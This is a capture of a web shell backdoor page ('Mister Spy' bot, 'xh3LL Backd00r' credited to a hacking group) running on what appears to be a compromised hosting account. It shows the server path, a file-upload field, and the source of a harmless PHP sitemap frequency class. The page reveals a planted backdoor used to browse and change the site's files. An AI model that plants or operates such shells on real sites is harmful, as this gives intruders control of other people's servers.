Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.sitemapchangefreq.php

<?php

class SitemapChangeFreq
{ 		
	const Always	= "always";
	const Hourly 	= "hourly";
	const Daily		= "daily";
	const Weekly	= "weekly";
	const Monthly	= "monthly";
	const Yearly	= "yearly";
	const Never		= "never";

	static function GetById($Freq)
	{
		switch($Freq)
		{
			case SitemapChangeFreq::Always:
				return "always";
				break;
				
			case SitemapChangeFreq::Hourly:
				return "hourly";
				break;

			case SitemapChangeFreq::Daily:
				return "daily";
				break;

			case SitemapChangeFreq::Weekly:
				return "weekly";
				break;

			case SitemapChangeFreq::Monthly:
				return "monthly";
				break;

			case SitemapChangeFreq::Yearly:
				return "yearly";
				break;

			case SitemapChangeFreq::Never:
				return "never";
				break;

			default:
				return "No Asignado";
				break;
		}
	}
	
	static function GetAll()
	{
		return array
		(
			array("Freq" => SitemapChangeFreq::Always, "Descripcion" => "always"),
			array("Freq" => SitemapChangeFreq::Hourly, "Descripcion" => "hourly"),
			array("Freq" => SitemapChangeFreq::Daily, "Descripcion" => "daily"),
			array("Freq" => SitemapChangeFreq::Weekly, "Descripcion" => "weekly"),
			array("Freq" => SitemapChangeFreq::Monthly, "Descripcion" => "monthly"),
			array("Freq" => SitemapChangeFreq::Yearly, "Descripcion" => "yearly"),
			array("Freq" => SitemapChangeFreq::Never, "Descripcion" => "never")
		);
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat